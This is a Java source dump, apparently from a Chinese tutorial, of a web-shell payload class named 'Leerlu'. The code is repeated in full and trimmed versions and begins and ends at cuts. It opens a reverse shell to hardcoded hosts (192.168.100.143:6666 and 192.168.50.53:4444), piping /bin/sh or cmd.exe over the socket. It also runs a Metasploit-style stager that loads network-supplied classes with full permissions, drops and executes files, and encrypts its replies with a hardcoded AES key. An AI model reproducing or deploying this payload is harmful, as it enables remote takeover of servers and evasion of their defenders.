DataInputStream in = new DataInputStream(rawIn);
Permissions permissions = new Permissions();
permissions.add(new AllPermission());
ProtectionDomain pd = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), permissions);
Class clazz;
if (embeddedStageName == null) {
int length = in.readInt();
do {
byte[] classfile = new byte[length];
in.readFully(classfile);
this.resolveClass(clazz = this.defineClass((String)null, classfile, 0, length, pd));
length = in.readInt();
} while(length > 0);
} else {
clazz = Class.forName("javapayload.stage." + embeddedStageName);
}
Object stage = clazz.newInstance();
clazz.getMethod("start", DataInputStream.class, OutputStream.class, String[].class).invoke(stage, in, out, stageParameters);
} catch (Throwable var11) {
var11.printStackTrace(new PrintStream(out));
}
}
private static String getJreExecutable(String command) {
File jExecutable = null;
if (IS_AIX) {
jExecutable = findInDir(JAVA_HOME + "/sh", command);
}
if (jExecutable == null) {
jExecutable = findInDir(JAVA_HOME + "/bin", command);
}
return jExecutable != null ? jExecutable.getAbsolutePath() : addExtension(command);
}
private static String addExtension(String command) {
return command + (IS_DOS ? ".exe" : "");
}
private static File findInDir(String dirName, String commandName) {
File dir = normalize(dirName);
File executable = null;
if (dir.exists()) {
executable = new File(dir, addExtension(commandName));
if (!executable.exists()) {
executable = null;
}
}
return executable;
}
private static File normalize(String path) {
Stack s = new Stack();
String[] dissect = dissect(path);
s.push(dissect[0]);
StringTokenizer tok = new StringTokenizer(dissect[1], File.separator);
while(tok.hasMoreTokens()) {
String thisToken = tok.nextToken();
if (!".".equals(thisToken)) {
if ("..".equals(thisToken)) {
if (s.size() < 2) {
return new File(path);
}
s.pop();
} else {
s.push(thisToken);
}
}
}
StringBuffer sb = new StringBuffer();
for(int i = 0; i < s.size(); ++i) {
if (i > 1) {
sb.append(File.separatorChar);
}
sb.append(s.elementAt(i));
}
return new File(sb.toString());
}
private static String[] dissect(String path) {
char sep = File.separatorChar;
path = path.replace('/', sep).replace('\\', sep);
String root = null;
int colon = path.indexOf(58);
int nextsep;
if (colon > 0 && IS_DOS) {
nextsep = colon + 1;
root = path.substring(0, nextsep);
char[] ca = path.toCharArray();
root = root + sep;
nextsep = ca[nextsep] == sep ? nextsep + 1 : nextsep;
StringBuffer sbPath = new StringBuffer();
for(int i = nextsep; i < ca.length; ++i) {
if (ca[i] != sep || ca[i - 1] != sep) {
sbPath.append(ca[i]);
}
}
path = sbPath.toString();
} else if (path.length() > 1 && path.charAt(1) == sep) {
nextsep = path.indexOf(sep, 2);
nextsep = path.indexOf(sep, nextsep + 1);
root = nextsep > 2 ? path.substring(0, nextsep + 1) : path;
path = path.substring(root.length());
} else {
root = File.separator;
path = path.substring(1);
}
return new String[]{root, path};
}
private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
StringBuilder sb = new StringBuilder();
String version = System.getProperty("java.version");
sb.append("{");
Iterator var5 = entity.keySet().iterator();
while(var5.hasNext()) {
String key = (String)var5.next();
sb.append("\"" + key + "\":\"");
String value = ((String)entity.get(key)).toString();
if (encode) {
Class Base64;
Object Encoder;
if (version.compareTo("1.9") >= 0) {
this.getClass();
Base64 = Class.forName("java.util.Base64");
Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
} else {
this.getClass();
Base64 = Class.forName("sun.misc.BASE64Encoder");
Encoder = Base64.newInstance();
value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
value = value.replace("\n", "").replace("\r", "");
}
}
sb.append(value);
sb.append("\",");
}
if (sb.toString().endsWith(",")) {
sb.setLength(sb.length() - 1);
}
sb.append("}");
return sb.toString();
}
private String base64encode(byte[] data) throws Exception {
String result = "";
String version = System.getProperty("java.version");
Class Base64;
try {
this.getClass();
Base64 = Class.forName("java.util.Base64");
Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
} catch (Throwable var7) {
this.getClass();
Base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = Base64.newInstance();
result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data);
result = result.replace("\n", "").replace("\r", "");
}
return result;
}
private void fillContext(Object obj) throws Exception {
if (obj.getClass().getName().indexOf("PageContext") >= 0) {
this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
this.Session = obj.getClass().getMethod("getSession").invoke(obj);
} else {
Map<String, Object> objMap = (Map)obj;
this.Session = objMap.get("session");
this.Response = objMap.get("response");
this.Request = objMap.get("request");
}
this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
}
private byte[] getMagic() throws Exception {
String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
Random random = new Random();
byte[] buf = new byte[magicNum];
for(int i = 0; i < buf.length; ++i) {
buf[i] = (byte)random.nextInt(256);
}
return buf;
}
static {
OS_NAME = System.getProperty("os.name").toLowerCase(Locale.ENGLISH);
PATH_SEP = System.getProperty("path.separator");
IS_AIX = "aix".equals(OS_NAME);
IS_DOS = PATH_SEP.equals(";");
JAVA_HOME = System.getProperty("java.home");
}
private byte[] Encrypt(byte[] var1) throws Exception {
String var2 = "e45e329feb5d925b";
byte[] var3 = var2.getBytes("utf-8");
SecretKeySpec var4 = new SecretKeySpec(var3, "AES");
Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding");
var5.init(1, var4);
byte[] var6 = var5.doFinal(var1);
Class var7;
try {
var7 = Class.forName("java.util.Base64");
Object var8 = var7.getMethod("getEncoder", (Class[])null).invoke(var7, (Object[])null);
var6 = (byte[])var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6);
} catch (Throwable var12) {
var7 = Class.forName("sun.misc.BASE64Encoder");
Object var10 = var7.newInstance();
String var11 = (String)var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6);
var11 = var11.replace("\n", "").replace("\r", "");
var6 = var11.getBytes();
}
return var6;
}
}
新建Leerlu
类
package com.example.antsword;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.io.PrintStream;
import java.lang.reflect.Method;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.URL;
import java.net.URLConnection;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Locale;
import java.util.Map;
import java.util.Properties;
import java.util.Random;
import java.util.Stack;
import java.util.StringTokenizer;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
public class Leerlu extends ClassLoader implements Runnable {
public static String type;
public static String ip;
public static String port;
private Object Request;
private Object Response;
private Object Session;
InputStream dn;
OutputStream rm;
private static final String OS_NAME;
private static final String PATH_SEP;
private static final boolean IS_AIX;
private static final boolean IS_DOS;
private static final String JAVA_HOME;
public Leerlu(InputStream dn, OutputStream rm) {
type = "";
type = type + "meter";
ip = "";
ip = ip + "192.168.100.143";
port = "";
port = port + "6666";
this.dn = dn;
this.rm = rm;
}
public Leerlu() {
type = "";
type = type + "meter";
ip = "";
ip = ip + "192.168.100.143";
port = "";
port = port + "6666";
}
public boolean equals(Object obj) {
HashMap result = new HashMap();
boolean var13 = false;
Object so;
Method write;
label91:
{
try {
var13 = true;
this.fillContext(obj);
if (type.equals("shell")) {
this.shellConnect();
} else if (type.equals("meter")) {
this.meterConnect();
}
result.put("status", "success");
var13 = false;
break label91;
} catch (Exception var17) {
result.put("status", "fail");
result.put("msg", var17.getMessage());
var13 = false;
} finally {
if (var13) {
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var14) {
}
}
}
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var15) {
}
return true;
}
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var16) {
}
return true;
}
public void run() {
BufferedReader hz = null;
BufferedWriter cns = null;
try {
hz = new BufferedReader(new InputStreamReader(this.dn));
cns = new BufferedWriter(new OutputStreamWriter(this.rm));
char[] buffer = new char[8192];
int length;
while ((length = hz.read(buffer, 0, buffer.length)) > 0) {
cns.write(buffer, 0, length);
cns.flush();
}
} catch (Exception var6) {
}
try {
if (hz != null) {
hz.close();
}
if (cns != null) {
cns.close();
}
} catch (Exception var5) {
}
}
private void shellConnect() throws Exception {
try {
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
}
Socket socket = new Socket(ip, Integer.parseInt(port));
Process process = Runtime.getRuntime().exec(ShellPath);
(new Thread(new Leerlu(process.getInputStream(), socket.getOutputStream()))).start();
(new Thread(new Leerlu(socket.getInputStream(), process.getOutputStream()))).start();
} catch (Exception var4) {
throw var4;
}
}
public static void main(String[] args) {
try {
Leerlu c = new Leerlu();
ip = "192.168.50.53";
port = "4444";
c.meterConnect();
} catch (Exception var2) {
}
}
private void meterConnect() throws Exception {
Properties props = new Properties();
Class clazz = Leerlu.class;
String clazzFile = clazz.getName().replace('.', '/') + ".class";
props.put("LHOST", ip);
props.put("LPORT", port);
String executableName = props.getProperty("Executable");
File droppedFile;
if (executableName != null) {
File dummyTempFile = File.createTempFile("~spawn", ".tmp");
dummyTempFile.delete();
File tempDir = new File(dummyTempFile.getAbsolutePath() + ".dir");
tempDir.mkdir();
droppedFile = new File(tempDir, executableName);
writeEmbeddedFile(clazz, executableName, droppedFile);
props.remove("Executable");
props.put("DroppedExecutable", droppedFile.getCanonicalPath());
}
int spawn = Integer.parseInt(props.getProperty("Spawn", "0"));
String droppedExecutable = props.getProperty("DroppedExecutable");
int i;
if (spawn > 0) {
props.setProperty("Spawn", String.valueOf(spawn - 1));
droppedFile = File.createTempFile("~spawn", ".tmp");
droppedFile.delete();
File tempDir = new File(droppedFile.getAbsolutePath() + ".dir");
File propFile = new File(tempDir, "metasploit.dat");
File classFile = new File(tempDir, clazzFile);
classFile.getParentFile().mkdirs();
writeEmbeddedFile(clazz, clazzFile, classFile);
if (props.getProperty("URL", "").startsWith("https:")) {
writeEmbeddedFile(clazz, "metasploit/PayloadTrustManager.class", new File(classFile.getParentFile(), "PayloadTrustManager.class"));
}
if (props.getProperty("AESPassword", (String) null) != null) {
writeEmbeddedFile(clazz, "metasploit/AESEncryption.class", new File(classFile.getParentFile(), "AESEncryption.class"));
}
FileOutputStream fos = new FileOutputStream(propFile);
props.store(fos, "");
fos.close();
Process proc = Runtime.getRuntime().exec(new String[]{getJreExecutable("java"), "-classpath", tempDir.getAbsolutePath(), clazz.getName()});
proc.getInputStream().close();
proc.getErrorStream().close();
Thread.sleep(2000L);
File[] files = new File[]{classFile, classFile.getParentFile(), propFile, tempDir};
for (i = 0; i < files.length; ++i) {
for (i = 0; i < 10 && !files[i].delete(); ++i) {
files[i].deleteOnExit();
Thread.sleep(100L);
}
}
} else if (droppedExecutable != null) {
droppedFile = new File(droppedExecutable);
if (!IS_DOS) {
try {
try {
File.class.getMethod("setExecutable", Boolean.TYPE).invoke(droppedFile, Boolean.TRUE);
} catch (NoSuchMethodException var16) {
Runtime.getRuntime().exec(new String[]{"chmod", "+x", droppedExecutable}).waitFor();
}
} catch (Exception var17) {
}
}
Runtime.getRuntime().exec(new String[]{droppedExecutable});
if (!IS_DOS) {
droppedFile.delete();
droppedFile.getParentFile().delete();
}
} else {
int lPort = Integer.parseInt(props.getProperty("LPORT", "4444"));
String lHost = props.getProperty("LHOST", (String) null);
String url = props.getProperty("URL", (String) null);
Object in;
Object out;
if (lPort <= 0) {
in = System.in;
out = System.out;
} else if (url != null) {
if (url.startsWith("raw:")) {
in = new ByteArrayInputStream(url.substring(4).getBytes("ISO-8859-1"));
} else if (url.startsWith("https:")) {
URLConnection uc = (new URL(url)).openConnection();
Class.forName("metasploit.PayloadTrustManager").getMethod("useFor", URLConnection.class).invoke((Object) null, uc);
in = uc.getInputStream();
} else {
in = (new URL(url)).openStream();
}
out = new ByteArrayOutputStream();
} else {
Socket socket;
if (lHost != null) {
socket = new Socket(lHost, lPort);
} else {
ServerSocket serverSocket = new ServerSocket(lPort);
socket = serverSocket.accept();
serverSocket.close();
}
in = socket.getInputStream();
out = socket.getOutputStream();
}
String aesPassword = props.getProperty("AESPassword", (String) null);
if (aesPassword != null) {
Object[] streams = (Object[]) Class.forName("metasploit.AESEncryption").getMethod("wrapStreams", InputStream.class, OutputStream.class, String.class).invoke((Object) null, in, out, aesPassword);
in = (InputStream) streams[0];
out = (OutputStream) streams[1];
}
StringTokenizer stageParamTokenizer = new StringTokenizer("Payload -- " + props.getProperty("StageParameters", ""), " ");
String[] stageParams = new String[stageParamTokenizer.countTokens()];
for (i = 0; i < stageParams.length; ++i) {
stageParams[i] = stageParamTokenizer.nextToken();
}
(new Leerlu()).bootstrap((InputStream) in, (OutputStream) out, props.getProperty("EmbeddedStage", (String) null), stageParams);
}
}
private static void writeEmbeddedFile(Class clazz, String resourceName, File targetFile) throws FileNotFoundException, IOException {
InputStream in = clazz.getResourceAsStream("/" + resourceName);
FileOutputStream fos = new FileOutputStream(targetFile);
byte[] buf = new byte[4096];
int len;
while ((len = in.read(buf)) != -1) {
fos.write(buf, 0, len);
}
fos.close();
}
private final void bootstrap(InputStream rawIn, OutputStream out, String embeddedStageName, String[] stageParameters) throws Exception {
try {
DataInputStream in = new DataInputStream(rawIn);
Permissions permissions = new Permissions();
permissions.add(new AllPermission());
ProtectionDomain pd = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), permissions);
Class clazz;
if (embeddedStageName == null) {
int length = in.readInt();
do {
byte[] classfile = new byte[length];
in.readFully(classfile);
this.resolveClass(clazz = this.defineClass((String) null, classfile, 0, length, pd));
length = in.readInt();
} while (length > 0);
} else {
clazz = Class.forName("javapayload.stage." + embeddedStageName);
}
Object stage = clazz.newInstance();
clazz.getMethod("start", DataInputStream.class, OutputStream.class, String[].class).invoke(stage, in, out, stageParameters);
} catch (Throwable var11) {
var11.printStackTrace(new PrintStream(out));
}
}
private static String getJreExecutable(String command) {
File jExecutable = null;
if (IS_AIX) {
jExecutable = findInDir(JAVA_HOME + "/sh", command);
}
if (jExecutable == null) {
jExecutable = findInDir(JAVA_HOME + "/bin", command);
}
return jExecutable != null ? jExecutable.getAbsolutePath() : addExtension(command);
}
private static String addExtension(String command) {
return command + (IS_DOS ? ".exe" : "");
}
private static File findInDir(String dirName, String commandName) {
File dir = normalize(dirName);
File executable = null;
if (dir.exists()) {
executable = new File(dir, addExtension(commandName));
if (!executable.exists()) {
executable = null;
}
}
return executable;
}
private static File normalize(String path) {
Stack s = new Stack();
String[] dissect = dissect(path);
s.push(dissect[0]);
StringTokenizer tok = new StringTokenizer(dissect[1], File.separator);
while (tok.hasMoreTokens()) {
String thisToken = tok.nextToken();
if (!".".equals(thisToken)) {
if ("..".equals(thisToken)) {
if (s.size() < 2) {
return new File(path);
}
s.pop();
} else {
s.push(thisToken);
}
}
}
StringBuffer sb = new StringBuffer();
for (int i = 0; i < s.size(); ++i) {
if (i > 1) {
sb.append(File.separatorChar);
}
sb.append(s.elementAt(i));
}
return new File(sb.toString());
}
private static String[] dissect(String path) {
char sep = File.separatorChar;
path = path.replace('/', sep).replace('\\', sep);
String root = null;
int colon = path.indexOf(58);
int nextsep;
if (colon > 0 && IS_DOS) {
nextsep = colon + 1;
root = path.substring(0, nextsep);
char[] ca = path.toCharArray();
root = root + sep;
nextsep = ca[nextsep] == sep ? nextsep + 1 : nextsep;
StringBuffer sbPath = new StringBuffer();
for (int i = nextsep; i < ca.length; ++i) {
if (ca[i] != sep || ca[i - 1] != sep) {
sbPath.append(ca[i]);
}
}
path = sbPath.toString();
} else if (path.length() > 1 && path.charAt(1) == sep) {
nextsep = path.indexOf(sep, 2);
nextsep = path.indexOf(sep, nextsep + 1);
root = nextsep > 2 ? path.substring(0, nextsep + 1) : path;
path = path.substring(root.length());
} else {
root = File.separator;
path = path.substring(1);
}
return new String[]{root, path};
}
private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
StringBuilder sb = new StringBuilder();
String version = System.getProperty("java.version");
sb.append("{");
Iterator var5 = entity.keySet().iterator();
while (var5.hasNext()) {
String key = (String) var5.next();
sb.append("\"" + key + "\":\"");
String value = ((String) entity.get(key)).toString();
if (encode) {
Class Base64;
Object Encoder;
if (version.compareTo("1.9") >= 0) {
this.getClass();
Base64 = Class.forName("java.util.Base64");
Encoder = Base64.getMethod("getEncoder", (Class[]) null).invoke(Base64, (Object[]) null);
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
} else {
this.getClass();
Base64 = Class.forName("sun.misc.BASE64Encoder");
Encoder = Base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
value = value.replace("\n", "").replace("\r", "");
}
}
sb.append(value);
sb.append("\",");
}
if (sb.toString().endsWith(",")) {
sb.setLength(sb.length() - 1);
}
sb.append("}");
return sb.toString();
}
private String base64encode(byte[] data) throws Exception {
String result = "";
String version = System.getProperty("java.version");
Class Base64;
try {
this.getClass();
Base64 = Class.forName("java.util.Base64");
Object Encoder = Base64.getMethod("getEncoder", (Class[]) null).invoke(Base64, (Object[]) null);
result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
} catch (Throwable var7) {
this.getClass();
Base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = Base64.newInstance();
result = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data);
result = result.replace("\n", "").replace("\r", "");
}
return result;
}
private void fillContext(Object obj) throws Exception {
if (obj.getClass().getName().indexOf("PageContext") >= 0) {
this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
this.Session = obj.getClass().getMethod("getSession").invoke(obj);
} else {
Map<String, Object> objMap = (Map) obj;
this.Session = objMap.get("session");
this.Response = objMap.get("response");
this.Request = objMap.get("request");
}
this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
}
private byte[] getMagic() throws Exception {
String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
Random random = new Random();
byte[] buf = new byte[magicNum];
for (int i = 0; i < buf.length; ++i) {
buf[i] = (byte) random.nextInt(256);
}
return buf;
}
static {
OS_NAME = System.getProperty("os.name").toLowerCase(Locale.ENGLISH);
PATH_SEP = System.getProperty("path.separator");
IS_AIX = "aix".equals(OS_NAME);
IS_DOS = PATH_SEP.equals(";");
JAVA_HOME = System.getProperty("java.home");
}
private byte[] Encrypt(byte[] var1) throws Exception {
String var2 = "e45e329feb5d925b";
byte[] var3 = var2.getBytes("utf-8");
SecretKeySpec var4 = new SecretKeySpec(var3, "AES");
Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding");
var5.init(1, var4);
byte[] var6 = var5.doFinal(var1);
Class var7;
try {
var7 = Class.forName("java.util.Base64");
Object var8 = var7.getMethod("getEncoder", (Class[]) null).invoke(var7, (Object[]) null);
var6 = (byte[]) var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6);
} catch (Throwable var12) {
var7 = Class.forName("sun.misc.BASE64Encoder");
Object var10 = var7.newInstance();
String var11 = (String) var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6);
var11 = var11.replace("\n", "").replace("\r", "");
var6 = var11.getBytes();
}
return var6;
}
}
精简代码
package com.example.antsword;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.io.PrintStream;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.URL;
import java.net.URLConnection;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;
import java.util.Locale;
import java.util.Properties;
import java.util.Stack;
import java.util.StringTokenizer;
public class Leerlu extends ClassLoader implements Runnable {
public static String type;
public static String ip;
public static String port;
InputStream dn;
OutputStream rm;
private static final String OS_NAME;
private static final String PATH_SEP;
private static final boolean IS_AIX;
private static final boolean IS_DOS;
private static final String JAVA_HOME;
public static void main(String[] args) {
try {
Leerlu c = new Leerlu();
ip = "192.168.50.53";
port = "4444";
c.meterConnect();
} catch (Exception var2) {
}
}
public Leerlu(InputStream dn, OutputStream rm) {
type = "";
type = type + "meter";
ip = "";
ip = ip + "192.168.100.143";
port = "";
port = port + "6666";
this.dn = dn;
this.rm = rm;
}
public Leerlu() {
type = "";
type = type + "meter";
ip = "";
ip = ip + "192.168.100.143";
port = "";
port = port + "6666";
}
public void run() {
BufferedReader hz = null;
BufferedWriter cns = null;
try {
hz = new BufferedReader(new InputStreamReader(this.dn));
cns = new BufferedWriter(new OutputStreamWriter(this.rm));
char[] buffer = new char[8192];
int length;
while ((length = hz.read(buffer, 0, buffer.length)) > 0) {
cns.write(buffer, 0, length);
cns.flush();
}
} catch (Exception var6) {
}
try {
if (hz != null) {
hz.close();
}
if (cns != null) {
cns.close();
}
} catch (Exception var5) {
}
}
private void meterConnect() throws Exception {
Properties props = new Properties();
Class clazz = Leerlu.class;
String clazzFile = clazz.getName().replace('.', '/') + ".class";
props.put("LHOST", ip);
props.put("LPORT", port);
String executableName = props.getProperty("Executable");
File droppedFile;
if (executableName != null) {
File dummyTempFile = File.createTempFile("~spawn", ".tmp");
dummyTempFile.delete();
File tempDir = new File(dummyTempFile.getAbsolutePath() + ".dir");
tempDir.mkdir();
droppedFile = new File(tempDir, executableName);
writeEmbeddedFile(clazz, executableName, droppedFile);
props.remove("Executable");
props.put("DroppedExecutable", droppedFile.getCanonicalPath());
}
int spawn = Integer.parseInt(props.getProperty("Spawn", "0"));
String droppedExecutable = props.getProperty("DroppedExecutable");
int i;
if (spawn > 0) {
props.setProperty("Spawn", String.valueOf(spawn - 1));
droppedFile = File.createTempFile("~spawn", ".tmp");
droppedFile.delete();
File tempDir = new File(droppedFile.getAbsolutePath() + ".dir");
File propFile = new File(tempDir, "metasploit.dat");
File classFile = new File(tempDir, clazzFile);
classFile.getParentFile().mkdirs();
writeEmbeddedFile(clazz, clazzFile, classFile);
if (props.getProperty("URL", "").startsWith("https:")) {
writeEmbeddedFile(clazz, "metasploit/PayloadTrustManager.class", new File(classFile.getParentFile(), "PayloadTrustManager.class"));
}
if (props.getProperty("AESPassword", (String) null) != null) {
writeEmbeddedFile(clazz, "metasploit/AESEncryption.class", new File(classFile.getParentFile(), "AESEncryption.class"));
}
FileOutputStream fos = new FileOutputStream(propFile);
props.store(fos, "");
fos.close();
Process proc = Runtime.getRuntime().exec(new String[]{getJreExecutable("java"), "-classpath", tempDir.getAbsolutePath(), clazz.getName()});
proc.getInputStream().close();
proc.getErrorStream().close();
Thread.sleep(2000L);
File[] files = new File[]{classFile, classFile.getParentFile(), propFile, tempDir};
for (i = 0; i < files.length; ++i) {
for (i = 0; i < 10 && !files[i].delete(); ++i) {
files[i].deleteOnExit();
Thread.sleep(100L);
}
}
} else if (droppedExecutable != null) {
droppedFile = new File(droppedExecutable);
if (!IS_DOS) {
try {
try {
File.class.getMethod("setExecutable", Boolean.TYPE).invoke(droppedFile, Boolean.TRUE);
} catch (NoSuchMethodException var16) {
Runtime.getRuntime().exec(new String[]{"chmod", "+x", droppedExecutable}).waitFor();
}
} catch (Exception var17) {
}
}
Runtime.getRuntime().exec(new String[]{droppedExecutable});
if (!IS_DOS) {
droppedFile.delete();
droppedFile.getParentFile().delete();
}
} else {
int lPort = Integer.parseInt(props.getProperty("LPORT", "4444"));
String lHost = props.getProperty("LHOST", (String) null);
String url = props.getProperty("URL", (String) null);
Object in;
Object out;
if (lPort <= 0) {
in = System.in;
out = System.out;
} else if (url != null) {
if (url.startsWith("raw:")) {
in = new ByteArrayInputStream(url.substring(4).getBytes("ISO-8859-1"));
} else if (url.startsWith("https:")) {
URLConnection uc = (new URL(url)).openConnection();
Class.forName("metasploit.PayloadTrustManager").getMethod("useFor", URLConnection.class).invoke((Object) null, uc);
in = uc.getInputStream();
} else {
in = (new URL(url)).openStream();
}
out = new ByteArrayOutputStream();
} else {
Socket socket;
if (lHost != null) {
socket = new Socket(lHost, lPort);
} else {
ServerSocket serverSocket = new ServerSocket(lPort);
socket = serverSocket.accept();
serverSocket.close();
}
in = socket.getInputStream();
out = socket.getOutputStream();
}
String aesPassword = props.getProperty("AESPassword", (String) null);
if (aesPassword != null) {
Object[] streams = (Object[]) Class.forName("metasploit.AESEncryption").getMethod("wrapStreams", InputStream.class, OutputStream.class, String.class).invoke((Object) null, in, out, aesPassword);
in = (InputStream) streams[0];
out = (OutputStream) streams[1];
}
StringTokenizer stageParamTokenizer = new StringTokenizer("Payload -- " + props.getProperty("StageParameters", ""), " ");
String[] stageParams = new String[stageParamTokenizer.countTokens()];
for (i = 0; i < stageParams.length; ++i) {
stageParams[i] = stageParamTokenizer.nextToken();
}
(new Leerlu()).bootstrap((InputStream) in, (OutputStream) out, props.getProperty("EmbeddedStage", (String) null), stageParams);
}
}
private static void writeEmbeddedFile(Class clazz, String resourceName, File targetFile) throws FileNotFoundException, IOException {
InputStream in = clazz.getResourceAsStream("/" + resourceName);
FileOutputStream fos = new FileOutputStream(targetFile);
byte[] buf = new byte[4096];
int len;
while ((len = in.read(buf)) != -1) {
fos.write(buf, 0, len);
}
fos.close();
}
private final void bootstrap(InputStream rawIn, OutputStream out, String embeddedStageName, String[] stageParameters) throws Exception {
try {
DataInputStream in = new DataInputStream(rawIn);
Permissions permissions = new Permissions();
permissions.add(new AllPermission());
ProtectionDomain pd = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), permissions);
Class clazz;
if (embeddedStageName == null) {
int length = in.readInt();
do {
byte[] classfile = new byte[length];
in.readFully(classfile);
this.resolveClass(clazz = this.defineClass((String) null, classfile, 0, length, pd));
length = in.readInt();
} while (length > 0);
} else {
clazz = Class.forName("javapayload.stage." + embeddedStageName);
}
Object stage = clazz.newInstance();
clazz.getMethod("start", DataInputStream.class, OutputStream.class, String[].class).invoke(stage, in, out, stageParameters);
} catch (Throwable var11) {
var11.printStackTrace(new PrintStream(out));
}
}
private static String getJreExecutable(String command) {
File jExecutable = null;
if (IS_AIX) {
jExecutable = findInDir(JAVA_HOME + "/sh", command);
}
if (jExecutable == null) {
jExecutable = findInDir(JAVA_HOME + "/bin", command);
}
return jExecutable != null ? jExecutable.getAbsolutePath() : addExtension(command);
}
private static String addExtension(String command) {
return command + (IS_DOS ? ".exe" : "");
}
private static File findInDir(String dirName, String commandName) {
File dir = normalize(dirName);
File executable = null;
if (dir.exists()) {
executable = new File(dir, addExtension(commandName));
if (!executable.exists()) {
executable = null;
}
}
return executable;
}
private static File normalize(String path) {
Stack s = new Stack();
String[] dissect = dissect(path);
s.push(dissect[0]);
StringTokenizer tok = new StringTokenizer(dissect[1], File.separator);
while (tok.hasMoreTokens()) {
String thisToken = tok.nextToken();
if (!".".equals(thisToken)) {
if ("..".equals(thisToken)) {
if (s.size() < 2) {
return new File(path);
}
s.pop();
} else {
s.push(thisToken);
}
}
}
StringBuffer sb = new StringBuffer();
for (int i = 0; i < s.size(); ++i) {
if (i > 1) {
sb.append(File.separatorChar);
}
sb.append(s.elementAt(i));
}
return new File(sb.toString());
}
private static String[] dissect(String path) {
char sep = File.separatorChar;
path = path.replace('/', sep).replace('\\', sep);
String root = null;
int colon = path.indexOf(58);
int nextsep;
if (colon > 0 && IS_DOS) {
nextsep = colon + 1;
root = path.substring(0, nextsep);
char[] ca = path.toCharArray();
root = root + sep;
nextsep = ca[nextsep] == sep ? nextsep + 1 : nextsep;
StringBuffer sbPath = new StringBuffer();
for (int i = nextsep; i < ca.length; ++i) {
if (ca[i] != sep || ca[i - 1] != sep) {
sbPath.append(ca[i]);
}
}
path = sbPath.toString();
} else if (path.length() > 1 && path.charAt(1) == sep) {
nextsep = path.indexOf(sep, 2);
nextsep = path.indexOf(sep, nextsep + 1);
root = nextsep > 2 ? path.substring(0, nextsep + 1) : path;
path = path.substring(root.length());
} else {
root = File.separator;
path = path.substring(1);
}
return new String[]{root, path};
}
static {
OS_NAME = System.getProperty("os.name").toLowerCase(Locale.ENGLISH);
